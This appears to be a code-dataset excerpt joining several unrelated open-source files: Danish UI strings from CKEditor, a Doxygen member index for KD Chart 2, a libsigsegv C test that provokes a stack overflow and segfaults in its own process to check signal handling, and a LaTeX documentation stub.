typeSbm : 'Send',
typeRst : 'Nulstil'
},
// Checkbox and Radio Button Dialogs.
checkboxAndRadio :
{
checkboxTitle : 'Egenskaber for afkrydsningsfelt',
radioTitle : 'Egenskaber for alternativknap',
value : 'Værdi',
selected : 'Valgt'
},
// Form Dialog.
form :
{
title : 'Egenskaber for formular',
menu : 'Egenskaber for formular',
action : 'Handling',
method : 'Metode',
encoding : 'Kodning (encoding)'
},
// Select Field Dialog.
select :
{
title : 'Egenskaber for liste',
selectInfo : 'Generelt',
opAvail : 'Valgmuligheder',
value : 'Værdi',
size : 'Størrelse',
lines : 'Linjer',
chkMulti : 'Tillad flere valg',
opText : 'Tekst',
opValue : 'Værdi',
btnAdd : 'Tilføj',
btnModify : 'Redigér',
btnUp : 'Op',
btnDown : 'Ned',
btnSetValue : 'Sæt som valgt',
btnDelete : 'Slet'
},
// Textarea Dialog.
textarea :
{
title : 'Egenskaber for tekstboks',
cols : 'Kolonner',
rows : 'Rækker'
},
// Text Field Dialog.
textfield :
{
title : 'Egenskaber for tekstfelt',
name : 'Navn',
value : 'Værdi',
charWidth : 'Bredde (tegn)',
maxChars : 'Max. antal tegn',
type : 'Type',
typeText : 'Tekst',
typePass : 'Adgangskode'
},
// Hidden Field Dialog.
hidden :
{
title : 'Egenskaber for skjult felt',
name : 'Navn',
value : 'Værdi'
},
// Image Dialog.
image :
{
title : 'Egenskaber for billede',
titleButton : 'Egenskaber for billedknap',
menu : 'Egenskaber for billede',
infoTab : 'Generelt',
btnUpload : 'Upload',
upload : 'Upload',
alt : 'Alternativ tekst',
width : 'Bredde',
height : 'Højde',
lockRatio : 'Lås størrelsesforhold',
unlockRatio : 'Unlock Ratio', // MISSING
resetSize : 'Nulstil størrelse',
border : 'Ramme',
hSpace : 'Vandret margen',
vSpace : 'Lodret margen',
align : 'Justering',
alignLeft : 'Venstre',
alignRight : 'Højre',
alertUrl : 'Indtast stien til billedet',
linkTab : 'Hyperlink',
button2Img : 'Vil du lave billedknappen om til et almindeligt billede?',
img2Button : 'Vil du lave billedet om til en billedknap?',
urlMissing : 'Image source URL is missing.', // MISSING
validateWidth : 'Width must be a whole number.', // MISSING
validateHeight : 'Height must be a whole number.', // MISSING
validateBorder : 'Border must be a whole number.', // MISSING
validateHSpace : 'HSpace must be a whole number.', // MISSING
validateVSpace : 'VSpace must be a whole number.' // MISSING
},
// Flash Dialog
flash :
{
properties : 'Egenskaber for Flash',
propertiesTab : 'Egenskaber',
title : 'Egenskaber for Flash',
chkPlay : 'Automatisk afspilning',
chkLoop : 'Gentagelse',
chkMenu : 'Vis Flash menu',
chkFull : 'Tillad fuldskærm',
scale : 'Skalér',
scaleAll : 'Vis alt',
scaleNoBorder : 'Ingen ramme',
scaleFit : 'Tilpas størrelse',
access : 'Script adgang',
accessAlways : 'Altid',
accessSameDomain: 'Samme domæne',
accessNever : 'Aldrig',
align : 'Justering',
alignLeft : 'Venstre',
alignAbsBottom : 'Absolut nederst',
alignAbsMiddle : 'Absolut centreret',
alignBaseline : 'Grundlinje',
alignBottom : 'Nederst',
alignMiddle : 'Centreret',
alignRight : 'Højre',
alignTextTop : 'Toppen af teksten',
alignTop : 'Øverst',
quality : 'Kvalitet',
qualityBest : 'Bedste',
qualityHigh : 'Høj',
qualityAutoHigh : 'Auto høj',
qualityMedium : 'Medium',
qualityAutoLow : 'Auto lav',
qualityLow : 'Lav',
windowModeWindow: 'Vindue',
windowModeOpaque: 'Gennemsigtig (opaque)',
windowModeTransparent : 'Transparent',
windowMode : 'Vinduestilstand',
flashvars : 'Variabler for Flash',
bgcolor : 'Baggrundsfarve',
width : 'Bredde',
height : 'Højde',
hSpace : 'Vandret margen',
vSpace : 'Lodret margen',
validateSrc : 'Indtast hyperlink URL!',
validateWidth : 'Bredde skal være et tal.',
validateHeight : 'Højde skal være et tal.',
validateHSpace : 'Vandret margen skal være et tal.',
validateVSpace : 'Lodret margen skal være et tal.'
},
// Speller Pages Dialog
spellCheck :
{
toolbar : 'Stavekontrol',
title : 'Stavekontrol',
notAvailable : 'Stavekontrol er desværre ikke tilgængelig.',
errorLoading : 'Fejl ved indlæsning af host: %s.',
notInDic : 'Ikke i ordbogen',
changeTo : 'Forslag',
btnIgnore : 'Ignorér',
btnIgnoreAll : 'Ignorér alle',
btnReplace : 'Erstat',
btnReplaceAll : 'Erstat alle',
btnUndo : 'Tilbage',
noSuggestions : '(ingen forslag)',
progress : 'Stavekontrollen arbejder...',
noMispell : 'Stavekontrol færdig: Ingen fejl fundet',
noChanges : 'Stavekontrol færdig: Ingen ord ændret',
oneChange : 'Stavekontrol færdig: Et ord ændret',
manyChanges : 'Stavekontrol færdig: %1 ord ændret',
ieSpellDownload : 'Stavekontrol ikke installeret. Vil du installere den nu?'
},
smiley :
{
toolbar : 'Smiley',
title : 'Vælg smiley',
options : 'Smiley Options' // MISSING
},
elementsPath :
{
eleLabel : 'Elements path', // MISSING
eleTitle : '%1 element'
},
numberedlist : 'Talopstilling',
bulletedlist : 'Punktopstilling',
indent : 'Forøg indrykning',
outdent : 'Formindsk indrykning',
justify :
{
left : 'Venstrestillet',
center : 'Centreret',
right : 'Højrestillet',
block : 'Lige margener'
},
blockquote : 'Blokcitat',
clipboard :
{
title : 'Indsæt',
cutError : 'Din browsers sikkerhedsindstillinger tillader ikke editoren at få automatisk adgang til udklipsholderen.<br><br>Brug i stedet tastaturet til at klippe teksten (Ctrl/Cmd+X).',
copyError : 'Din browsers sikkerhedsindstillinger tillader ikke editoren at få automatisk adgang til udklipsholderen.<br><br>Brug i stedet tastaturet til at kopiere teksten (Ctrl/Cmd+C).',
pasteMsg : 'Indsæt i feltet herunder (<STRONG>Ctrl/Cmd+V</STRONG>) og klik på <STRONG>OK</STRONG>.',
securityMsg : 'Din browsers sikkerhedsindstillinger tillader ikke editoren at få automatisk adgang til udklipsholderen.<br><br>Du skal indsætte udklipsholderens indhold i dette vindue igen.',
pasteArea : 'Paste Area' // MISSING
},
pastefromword :
{
confirmCleanup : 'Den tekst du forsøger at indsætte ser ud til at komme fra Word. Vil du rense teksten før den indsættes?',
toolbar : 'Indsæt fra Word',
title : 'Indsæt fra Word',
error : 'It was not possible to clean up the pasted data due to an internal error' // MISSING
},
pasteText :
{
button : 'Indsæt som ikke-formateret tekst',
title : 'Indsæt som ikke-formateret tekst'
},
templates :
{
button : 'Skabeloner',
title : 'Indholdsskabeloner',
options : 'Template Options', // MISSING
insertOption : 'Erstat det faktiske indhold',
selectPromptMsg : 'Vælg den skabelon, som skal åbnes i editoren (nuværende indhold vil blive overskrevet):',
emptyListMsg : '(Der er ikke defineret nogen skabelon)'
},
showBlocks : 'Vis afsnitsmærker',
stylesCombo :
{
label : 'Typografi',
panelTitle : 'Formatting Styles', // MISSING
panelTitle1 : 'Block typografi',
panelTitle2 : 'Inline typografi',
panelTitle3 : 'Object typografi'
},
format :
{
label : 'Formatering',
panelTitle : 'Formatering',
tag_p : 'Normal',
tag_pre : 'Formateret',
tag_address : 'Adresse',
tag_h1 : 'Overskrift 1',
tag_h2 : 'Overskrift 2',
tag_h3 : 'Overskrift 3',
tag_h4 : 'Overskrift 4',
tag_h5 : 'Overskrift 5',
tag_h6 : 'Overskrift 6',
tag_div : 'Normal (DIV)'
},
div :
{
title : 'Create Div Container', // MISSING
toolbar : 'Create Div Container', // MISSING
cssClassInputLabel : 'Stylesheet Classes', // MISSING
styleSelectLabel : 'Style', // MISSING
IdInputLabel : 'Id', // MISSING
languageCodeInputLabel : ' Language Code', // MISSING
inlineStyleInputLabel : 'Inline Style', // MISSING
advisoryTitleInputLabel : 'Advisory Title', // MISSING
langDirLabel : 'Language Direction', // MISSING
langDirLTRLabel : 'Left to Right (LTR)', // MISSING
langDirRTLLabel : 'Right to Left (RTL)', // MISSING
edit : 'Edit Div', // MISSING
remove : 'Remove Div' // MISSING
},
font :
{
label : 'Skrifttype',
voiceLabel : 'Skrifttype',
panelTitle : 'Skrifttype'
},
fontSize :
{
label : 'Skriftstørrelse',
voiceLabel : 'Skriftstørrelse',
panelTitle : 'Skriftstørrelse'
},
colorButton :
{
textColorTitle : 'Tekstfarve',
bgColorTitle : 'Baggrundsfarve',
panelTitle : 'Colors', // MISSING
auto : 'Automatisk',
more : 'Flere farver...'
},
colors :
{
'000' : 'Black', // MISSING
'800000' : 'Maroon', // MISSING
'8B4513' : 'Saddle Brown', // MISSING
'2F4F4F' : 'Dark Slate Gray', // MISSING
'008080' : 'Teal', // MISSING
'000080' : 'Navy', // MISSING
'4B0082' : 'Indigo', // MISSING
'696969' : 'Dark Gray', // MISSING
'B22222' : 'Fire Brick', // MISSING
'A52A2A' : 'Brown', // MISSING
'DAA520' : 'Golden Rod', // MISSING
'006400' : 'Dark Green', // MISSING
'40E0D0' : 'Turquoise', // MISSING
'0000CD' : 'Medium Blue', // MISSING
'800080' : 'Purple', // MISSING
'808080' : 'Gray', // MISSING
'F00' : 'Red', // MISSING
'FF8C00' : 'Dark Orange', // MISSING
'FFD700' : 'Gold', // MISSING
'008000' : 'Green', // MISSING
'0FF' : 'Cyan', // MISSING
'00F' : 'Blue', // MISSING
'EE82EE' : 'Violet', // MISSING
'A9A9A9' : 'Dim Gray', // MISSING
'FFA07A' : 'Light Salmon', // MISSING
'FFA500' : 'Orange', // MISSING
'FFFF00' : 'Yellow', // MISSING
'00FF00' : 'Lime', // MISSING
'AFEEEE' : 'Pale Turquoise', // MISSING
'ADD8E6' : 'Light Blue', // MISSING
'DDA0DD' : 'Plum', // MISSING
'D3D3D3' : 'Light Grey', // MISSING
'FFF0F5' : 'Lavender Blush', // MISSING
'FAEBD7' : 'Antique White', // MISSING
'FFFFE0' : 'Light Yellow', // MISSING
'F0FFF0' : 'Honeydew', // MISSING
'F0FFFF' : 'Azure', // MISSING
'F0F8FF' : 'Alice Blue', // MISSING
'E6E6FA' : 'Lavender', // MISSING
'FFF' : 'White' // MISSING
},
scayt :
{
title : 'Stavekontrol mens du skriver',
opera_title : 'Not supported by Opera', // MISSING
enable : 'Aktivér SCAYT',
disable : 'Deaktivér SCAYT',
about : 'Om SCAYT',
toggle : 'Skift/toggle SCAYT',
options : 'Indstillinger',
langs : 'Sprog',
moreSuggestions : 'Flere forslag',
ignore : 'Ignorér',
ignoreAll : 'Ignorér alle',
addWord : 'Tilføj ord',
emptyDic : 'Ordbogsnavn må ikke være tom.',
optionsTab : 'Indstillinger',
allCaps : 'Ignore All-Caps Words', // MISSING
ignoreDomainNames : 'Ignore Domain Names', // MISSING
mixedCase : 'Ignore Words with Mixed Case', // MISSING
mixedWithDigits : 'Ignore Words with Numbers', // MISSING
languagesTab : 'Sprog',
dictionariesTab : 'Ordbøger',
dic_field_name : 'Dictionary name', // MISSING
dic_create : 'Create', // MISSING
dic_restore : 'Restore', // MISSING
dic_delete : 'Delete', // MISSING
dic_rename : 'Rename', // MISSING
dic_info : 'Initially the User Dictionary is stored in a Cookie. However, Cookies are limited in size. When the User Dictionary grows to a point where it cannot be stored in a Cookie, then the dictionary may be stored on our server. To store your personal dictionary on our server you should specify a name for your dictionary. If you already have a stored dictionary, please type it\'s name and click the Restore button.', // MISSING
aboutTab : 'Om'
},
about :
{
title : 'Om CKEditor',
dlgTitle : 'Om CKEditor',
moreInfo : 'For informationer omkring licens, se venligst vores hjemmeside (på engelsk):',
copy : 'Copyright © $1. Alle rettigheder forbeholdes.'
},
maximize : 'Maximér',
minimize : 'Minimize', // MISSING
fakeobjects :
{
anchor : 'Anker',
flash : 'Flashanimation',
div : 'Sideskift',
unknown : 'Ukendt objekt'
},
resize : 'Træk for at skalere',
colordialog :
{
title : 'Select color', // MISSING
options : 'Color Options', // MISSING
highlight : 'Highlight', // MISSING
selected : 'Selected Color', // MISSING
clear : 'Clear' // MISSING
},
toolbarCollapse : 'Collapse Toolbar', // MISSING
toolbarExpand : 'Expand Toolbar' // MISSING
};
|
teiman/qualidoc
|
js/ckeditor/_source/lang/da.js
|
JavaScript
|
gpl-2.0
| 21,815
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><head><meta http-equiv="Content-Type" content="text/html;charset=iso-8859-1">
<title>KD Chart 2: Class Members - Functions</title>
<link href="doxygen.css" rel="stylesheet" type="text/css">
<link href="tabs.css" rel="stylesheet" type="text/css">
</head><body>
<!-- Generated by Doxygen 1.5.1 -->
<div class="tabs">
<ul>
<li><a href="index.html"><span>Main Page</span></a></li>
<li><a href="namespaces.html"><span>Namespaces</span></a></li>
<li id="current"><a href="classes.html"><span>Classes</span></a></li>
<li><a href="files.html"><span>Files</span></a></li>
<li><a href="dirs.html"><span>Directories</span></a></li>
<li><a href="pages.html"><span>Related Pages</span></a></li>
</ul></div>
<div class="tabs">
<ul>
<li><a href="classes.html"><span>Alphabetical List</span></a></li>
<li><a href="annotated.html"><span>Class List</span></a></li>
<li><a href="hierarchy.html"><span>Class Hierarchy</span></a></li>
<li id="current"><a href="functions.html"><span>Class Members</span></a></li>
</ul></div>
<div class="tabs">
<ul>
<li><a href="functions.html"><span>All</span></a></li>
<li id="current"><a href="functions_func.html"><span>Functions</span></a></li>
<li><a href="functions_vars.html"><span>Variables</span></a></li>
<li><a href="functions_type.html"><span>Typedefs</span></a></li>
<li><a href="functions_enum.html"><span>Enumerations</span></a></li>
<li><a href="functions_eval.html"><span>Enumerator</span></a></li>
<li><a href="functions_prop.html"><span>Properties</span></a></li>
</ul>
</div>
<div class="tabs">
<ul>
<li><a href="functions_func.html#index_a"><span>a</span></a></li>
<li><a href="functions_func_0x62.html#index_b"><span>b</span></a></li>
<li><a href="functions_func_0x63.html#index_c"><span>c</span></a></li>
<li><a href="functions_func_0x64.html#index_d"><span>d</span></a></li>
<li><a href="functions_func_0x65.html#index_e"><span>e</span></a></li>
<li><a href="functions_func_0x66.html#index_f"><span>f</span></a></li>
<li><a href="functions_func_0x67.html#index_g"><span>g</span></a></li>
<li><a href="functions_func_0x68.html#index_h"><span>h</span></a></li>
<li id="current"><a href="functions_func_0x69.html#index_i"><span>i</span></a></li>
<li><a href="functions_func_0x6b.html#index_k"><span>k</span></a></li>
<li><a href="functions_func_0x6c.html#index_l"><span>l</span></a></li>
<li><a href="functions_func_0x6d.html#index_m"><span>m</span></a></li>
<li><a href="functions_func_0x6e.html#index_n"><span>n</span></a></li>
<li><a href="functions_func_0x6f.html#index_o"><span>o</span></a></li>
<li><a href="functions_func_0x70.html#index_p"><span>p</span></a></li>
<li><a href="functions_func_0x72.html#index_r"><span>r</span></a></li>
<li><a href="functions_func_0x73.html#index_s"><span>s</span></a></li>
<li><a href="functions_func_0x74.html#index_t"><span>t</span></a></li>
<li><a href="functions_func_0x75.html#index_u"><span>u</span></a></li>
<li><a href="functions_func_0x76.html#index_v"><span>v</span></a></li>
<li><a href="functions_func_0x77.html#index_w"><span>w</span></a></li>
<li><a href="functions_func_0x7a.html#index_z"><span>z</span></a></li>
<li><a href="functions_func_0x7e.html#index_~"><span>~</span></a></li>
</ul>
</div>
<p>
<p>
<h3><a class="anchor" name="index_i">- i -</a></h3><ul>
<li>index()
: <a class="el" href="class_k_d_chart_1_1_abstract_proxy_model.html#b481e34906669ef6bbd433736ef98671">KDChart::AbstractProxyModel</a>
, <a class="el" href="class_k_d_chart_1_1_dataset_proxy_model.html#f424d678f7e1615d630e80108f750e16">KDChart::DatasetProxyModel</a>
, <a class="el" href="class_k_d_chart_1_1_abstract_proxy_model.html#b481e34906669ef6bbd433736ef98671">KDChart::AbstractProxyModel</a>
<li>indexAt()
: <a class="el" href="class_k_d_chart_1_1_abstract_diagram.html#71824fb6bd5a9da9c35b63a712ab8ca1">KDChart::AbstractDiagram</a>
<li>indexesAt()
: <a class="el" href="class_k_d_chart_1_1_abstract_diagram.html#51f1b261b21a9a604245ba51e4da5a6a">KDChart::AbstractDiagram</a>
, <a class="el" href="class_k_d_chart_1_1_reverse_mapper.html#cde229a3e261ddee101dec1fa5947eca">KDChart::ReverseMapper</a>
, <a class="el" href="class_k_d_chart_1_1_abstract_diagram.html#51f1b261b21a9a604245ba51e4da5a6a">KDChart::AbstractDiagram</a>
<li>indexesIn()
: <a class="el" href="class_k_d_chart_1_1_reverse_mapper.html#87faa2e6f595d45d5ae8903902a88d09">KDChart::ReverseMapper</a>
<li>initFrom()
: <a class="el" href="class_k_d_chart_1_1_attributes_model.html#ea6a706f8ea38d97fcab29f4747dc923">KDChart::AttributesModel</a>
<li>innerRect()
: <a class="el" href="class_k_d_chart_1_1_abstract_area_base.html#be15ba5df6050a3ff8eea66c41953efd">KDChart::AbstractAreaBase</a>
<li>instance()
: <a class="el" href="class_k_d_chart_1_1_global_measure_scaling.html#57a46a6f90b1a54f61a990ddbcc24958">KDChart::GlobalMeasureScaling</a>
<li>intersects()
: <a class="el" href="class_k_d_chart_1_1_text_layout_item.html#46b8eae6fa820e1d82808fc589db267f">KDChart::TextLayoutItem</a>
<li>invalidate()
: <a class="el" href="class_prerendered_label.html#69318192da8c0fa4552ad0a6e6dce72a">PrerenderedLabel</a>
, <a class="el" href="class_prerendered_element.html#ce9556a919d9d7a9caaddc9c9a43e5b5">PrerenderedElement</a>
<li>isAbscissa()
: <a class="el" href="class_k_d_chart_1_1_cartesian_axis.html#ac6fbdb203a89cc504758f92429a995a">KDChart::CartesianAxis</a>
<li>isCorner()
: <a class="el" href="class_k_d_chart_1_1_position.html#1fb29beb25b3d0c621d5e783ca60e64b">KDChart::Position</a>
<li>isEastSide()
: <a class="el" href="class_k_d_chart_1_1_position.html#1a760284c064e755feb8d50176644dac">KDChart::Position</a>
<li>isEmpty()
: <a class="el" href="class_k_d_chart_1_1_line_layout_item.html#f2313ec125658898284147661814eb63">KDChart::LineLayoutItem</a>
, <a class="el" href="class_k_d_chart_1_1_line_with_marker_layout_item.html#a746780560746bc7aa3e8cb5fa6a066d">KDChart::LineWithMarkerLayoutItem</a>
, <a class="el" href="class_k_d_chart_1_1_text_layout_item.html#4981e4394956451f6a176ae0d8b1d158">KDChart::TextLayoutItem</a>
, <a class="el" href="class_k_d_chart_1_1_vertical_line_layout_item.html#920d968280f54cacd515615656176ad7">KDChart::VerticalLineLayoutItem</a>
, <a class="el" href="class_k_d_chart_1_1_horizontal_line_layout_item.html#df0f3faef56ac95f020f3e9e46d6d718">KDChart::HorizontalLineLayoutItem</a>
, <a class="el" href="class_k_d_chart_1_1_abstract_coordinate_plane.html#fc73298c1919345d9f43cbdb75134388">KDChart::AbstractCoordinatePlane</a>
, <a class="el" href="class_k_d_chart_1_1_auto_spacer_layout_item.html#bd629cad8a53a9184ece22e6d2702b15">KDChart::AutoSpacerLayoutItem</a>
, <a class="el" href="class_k_d_chart_1_1_text_layout_item.html#4981e4394956451f6a176ae0d8b1d158">KDChart::TextLayoutItem</a>
, <a class="el" href="class_k_d_chart_1_1_cartesian_axis.html#e7f9c981e7cb2985ccdab436d5199ff6">KDChart::CartesianAxis</a>
, <a class="el" href="class_k_d_chart_1_1_abstract_coordinate_plane.html#fc73298c1919345d9f43cbdb75134388">KDChart::AbstractCoordinatePlane</a>
, <a class="el" href="class_k_d_chart_1_1_ternary_axis.html#dc7ed9eb9e9dfe3b95ff16e730a2a512">KDChart::TernaryAxis</a>
, <a class="el" href="class_k_d_chart_1_1_text_layout_item.html#4981e4394956451f6a176ae0d8b1d158">KDChart::TextLayoutItem</a>
, <a class="el" href="class_k_d_chart_1_1_abstract_coordinate_plane.html#fc73298c1919345d9f43cbdb75134388">KDChart::AbstractCoordinatePlane</a>
, <a class="el" href="class_k_d_chart_1_1_marker_layout_item.html#70bb60817c20457fbabe7b727aa11bea">KDChart::MarkerLayoutItem</a>
<li>isEnabled()
: <a class="el" href="class_k_d_chart_1_1_abstract_three_d_attributes.html#ccb9bb7617be15991b9942610e682359">KDChart::AbstractThreeDAttributes</a>
, <a class="el" href="class_k_d_chart_1_1_value_tracker_attributes.html#f5c76bf02a8a5323438458d7dbe6d857">KDChart::ValueTrackerAttributes</a>
, <a class="el" href="class_k_d_chart_1_1_abstract_three_d_attributes.html#ccb9bb7617be15991b9942610e682359">KDChart::AbstractThreeDAttributes</a>
<li>isEqualTo()
: <a class="el" href="class_k_d_chart_1_1_background_attributes.html#2990b4d2df0bf5a950ecbef48a973734">KDChart::BackgroundAttributes</a>
<li>isFloating()
: <a class="el" href="class_k_d_chart_1_1_position.html#5daeb6385f807e459603454f21d8d1cf">KDChart::Position</a>
<li>isGridVisible()
: <a class="el" href="class_k_d_chart_1_1_grid_attributes.html#11dc25131a5f12a375659a4c59de11f4">KDChart::GridAttributes</a>
<li>isHidden()
: <a class="el" href="class_k_d_chart_1_1_abstract_diagram.html#99dbec27a8a52b68cd7f60f9e0e8f4c2">KDChart::AbstractDiagram</a>
<li>isHorizontalRangeReversed()
: <a class="el" href="class_k_d_chart_1_1_cartesian_coordinate_plane.html#6d628fb411ebbc6e7866ebcb0bba6952">KDChart::CartesianCoordinatePlane</a>
<li>isIndexHidden()
: <a class="el" href="class_k_d_chart_1_1_abstract_diagram.html#e285981d34c0c2de724187d1aa3160b5">KDChart::AbstractDiagram</a>
<li>isKnownAttributesRole()
: <a class="el" href="class_k_d_chart_1_1_attributes_model.html#ac5d59c412bc7e75ed026e44b8f83562">KDChart::AttributesModel</a>
<li>isNorthSide()
: <a class="el" href="class_k_d_chart_1_1_position.html#bd23b72e64e9e8802943763e7e0f00cf">KDChart::Position</a>
<li>isNull()
: <a class="el" href="class_k_d_chart_1_1_position_points.html#e9259724d525ca4d48b4c94860d371c4">KDChart::PositionPoints</a>
<li>isOrdinate()
: <a class="el" href="class_k_d_chart_1_1_cartesian_axis.html#603169e55ac4268da059657b67996d87">KDChart::CartesianAxis</a>
<li>isPole()
: <a class="el" href="class_k_d_chart_1_1_position.html#d5697fb72482de4386fbe56ed9936a60">KDChart::Position</a>
<li>isRubberBandZoomingEnabled()
: <a class="el" href="class_k_d_chart_1_1_abstract_coordinate_plane.html#8484d18409954b6d3a3a76e74b4a086a">KDChart::AbstractCoordinatePlane</a>
<li>isSouthSide()
: <a class="el" href="class_k_d_chart_1_1_position.html#a41c012874d1288e69bb3437a00442b3">KDChart::Position</a>
<li>isSubGridVisible()
: <a class="el" href="class_k_d_chart_1_1_grid_attributes.html#841188e7cee6c3425e8ff891e090b35f">KDChart::GridAttributes</a>
<li>isUnknown()
: <a class="el" href="class_k_d_chart_1_1_position.html#52387d04cd9e4b1e557bc2d914553a5b">KDChart::Position</a>
<li>isValid()
: <a class="el" href="class_k_d_chart_1_1_palette.html#6c7503dff1c8d72125044d10088ded27">KDChart::Palette</a>
, <a class="el" href="class_ternary_point.html#1202002d55eaec377b1e0b85692298fd">TernaryPoint</a>
<li>isVerticalRangeReversed()
: <a class="el" href="class_k_d_chart_1_1_cartesian_coordinate_plane.html#38e71596b2b1acb412b3f2c066967d3e">KDChart::CartesianCoordinatePlane</a>
<li>isVisible()
: <a class="el" href="class_k_d_chart_1_1_frame_attributes.html#3173d8a3b744e4b2f144d87dcd03b524">KDChart::FrameAttributes</a>
, <a class="el" href="class_k_d_chart_1_1_text_attributes.html#4fbcf534c3a8ff7e753f1a3c72eda13d">KDChart::TextAttributes</a>
, <a class="el" href="class_k_d_chart_1_1_data_value_attributes.html#f22b0cb8dbbed1a36cb9dcd670d0188f">KDChart::DataValueAttributes</a>
, <a class="el" href="class_k_d_chart_1_1_marker_attributes.html#e4ad3f43fb228e6c74157d9425d808a4">KDChart::MarkerAttributes</a>
, <a class="el" href="class_k_d_chart_1_1_background_attributes.html#e523621e65a081bf5b720bf9e5c1b576">KDChart::BackgroundAttributes</a>
<li>isVisiblePoint()
: <a class="el" href="class_k_d_chart_1_1_abstract_coordinate_plane.html#4e71216c521d57d79d14ac64058d63f4">KDChart::AbstractCoordinatePlane</a>
<li>isWestSide()
: <a class="el" href="class_k_d_chart_1_1_position.html#7e2b479a791cb4dd1f48318f6a5a321f">KDChart::Position</a>
<li>itemRowLabels()
: <a class="el" href="class_k_d_chart_1_1_abstract_diagram.html#3f9de4c45dd123d52e3b9a2e939acea9">KDChart::AbstractDiagram</a>
</ul>
<hr size="1"><address style="align: right;"><small>Generated on Mon Sep 17 16:17:55 2007 for KD Chart 2 by
<a href="http://www.doxygen.org/index.html">
<img src="doxygen.png" alt="doxygen" align="middle" border="0"></a> 1.5.1 </small></address>
</body>
</html>
|
JeremiasE/KFormula
|
kchart/kdchart/doc/refman/functions_func_0x69.html
|
HTML
|
gpl-2.0
| 12,131
|
/* Test that stack overflow and SIGSEGV are correctly distinguished.
Copyright (C) 2002-2006, 2008 Bruno Haible <bruno@clisp.org>
Copyright (C) 2010 Eric Blake <eblake@redhat.com>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2, or (at your option)
any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software Foundation,
Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */
#ifndef _MSC_VER
# include <config.h>
#endif
#include "sigsegv.h"
#include <stdio.h>
#include <limits.h>
#if HAVE_STACK_OVERFLOW_RECOVERY && HAVE_SIGSEGV_RECOVERY
#if defined _WIN32 && !defined __CYGWIN__
/* Windows doesn't have sigset_t. */
typedef int sigset_t;
# define sigemptyset(set)
# define sigprocmask(how,set,oldset)
#endif
#include "mmaputil.h"
#include <stddef.h> /* needed for NULL on SunOS4 */
#include <stdlib.h> /* for abort, exit */
#include <signal.h>
#include <setjmp.h>
#if HAVE_SETRLIMIT
# include <sys/types.h>
# include <sys/time.h>
# include <sys/resource.h>
#endif
#include "altstack.h"
jmp_buf mainloop;
sigset_t mainsigset;
volatile int pass = 0;
unsigned long page;
static void
stackoverflow_handler_continuation (void *arg1, void *arg2, void *arg3)
{
int arg = (int) (long) arg1;
longjmp (mainloop, arg);
}
void
stackoverflow_handler (int emergency, stackoverflow_context_t scp)
{
pass++;
if (pass <= 2)
printf ("Stack overflow %d caught.\n", pass);
else
{
printf ("Segmentation violation misdetected as stack overflow.\n");
exit (1);
}
sigprocmask (SIG_SETMASK, &mainsigset, NULL);
sigsegv_leave_handler (stackoverflow_handler_continuation,
(void *) (long) (emergency ? -1 : pass), NULL, NULL);
}
int
sigsegv_handler (void *address, int emergency)
{
/* This test is necessary to distinguish stack overflow and SIGSEGV. */
if (!emergency)
return 0;
pass++;
if (pass <= 2)
{
printf ("Stack overflow %d missed.\n", pass);
exit (1);
}
else
printf ("Segmentation violation correctly detected.\n");
sigprocmask (SIG_SETMASK, &mainsigset, NULL);
return sigsegv_leave_handler (stackoverflow_handler_continuation,
(void *) (long) pass, NULL, NULL);
}
volatile int *
recurse_1 (int n, volatile int *p)
{
if (n < INT_MAX)
*recurse_1 (n + 1, p) += n;
return p;
}
int
recurse (volatile int n)
{
return *recurse_1 (n, &n);
}
int
main ()
{
int prot_unwritable;
void *p;
sigset_t emptyset;
#if HAVE_SETRLIMIT && defined RLIMIT_STACK
/* Before starting the endless recursion, try to be friendly to the user's
machine. On some Linux 2.2.x systems, there is no stack limit for user
processes at all. We don't want to kill such systems. */
struct rlimit rl;
rl.rlim_cur = rl.rlim_max = 0x100000; /* 1 MB */
setrlimit (RLIMIT_STACK, &rl);
#endif
/* Prepare the storage for the alternate stack. */
prepare_alternate_stack ();
/* Install the stack overflow handler. */
if (stackoverflow_install_handler (&stackoverflow_handler,
mystack, SIGSTKSZ)
< 0)
exit (2);
/* Preparations. */
#if !HAVE_MMAP_ANON && !HAVE_MMAP_ANONYMOUS && HAVE_MMAP_DEVZERO
zero_fd = open ("/dev/zero", O_RDONLY, 0644);
#endif
#if defined __linux__ && defined __sparc__
/* On Linux 2.6.26/SPARC64, PROT_READ has the same effect as
PROT_READ | PROT_WRITE. */
prot_unwritable = PROT_NONE;
#else
prot_unwritable = PROT_READ;
#endif
/* Setup some mmaped memory. */
p = mmap_zeromap ((void *) 0x12340000, 0x4000);
if (p == (void *)(-1))
{
fprintf (stderr, "mmap_zeromap failed.\n");
exit (2);
}
page = (unsigned long) p;
/* Make it read-only. */
if (mprotect ((void *) page, 0x4000, prot_unwritable) < 0)
{
fprintf (stderr, "mprotect failed.\n");
exit (2);
}
/* Install the SIGSEGV handler. */
if (sigsegv_install_handler (&sigsegv_handler) < 0)
exit (2);
/* Save the current signal mask. */
sigemptyset (&emptyset);
sigprocmask (SIG_BLOCK, &emptyset, &mainsigset);
/* Provoke two stack overflows in a row. */
switch (setjmp (mainloop))
{
case -1:
printf ("emergency exit\n"); exit (1);
case 0: case 1:
printf ("Starting recursion pass %d.\n", pass + 1);
recurse (0);
printf ("no endless recursion?!\n"); exit (1);
case 2:
*(volatile int *) (page + 0x678) = 42;
break;
case 3:
*(volatile int *) 0 = 42;
break;
case 4:
break;
default:
abort ();
}
/* Validate that the alternate stack did not overflow. */
check_alternate_stack_no_overflow ();
printf ("Test passed.\n");
exit (0);
}
#else
int
main ()
{
return 77;
}
#endif
|
Nemo157/libsigsegv
|
tests/stackoverflow2.c
|
C
|
gpl-2.0
| 5,250
|
\hypertarget{segmenter_8hpp}{\section{Sources/\+Segmentation/segmenter.hpp File Reference}
\label{segmenter_8hpp}\index{Sources/\+Segmentation/segmenter.\+hpp@{Sources/\+Segmentation/segmenter.\+hpp}}
}
{\ttfamily \#include $<$stdio.\+h$>$}\\*
Include dependency graph for segmenter.\+hpp\+:\nopagebreak
\begin{figure}[H]
\begin{center}
\leavevmode
\includegraphics[width=198pt]{segmenter_8hpp__incl}
\end{center}
\end{figure}
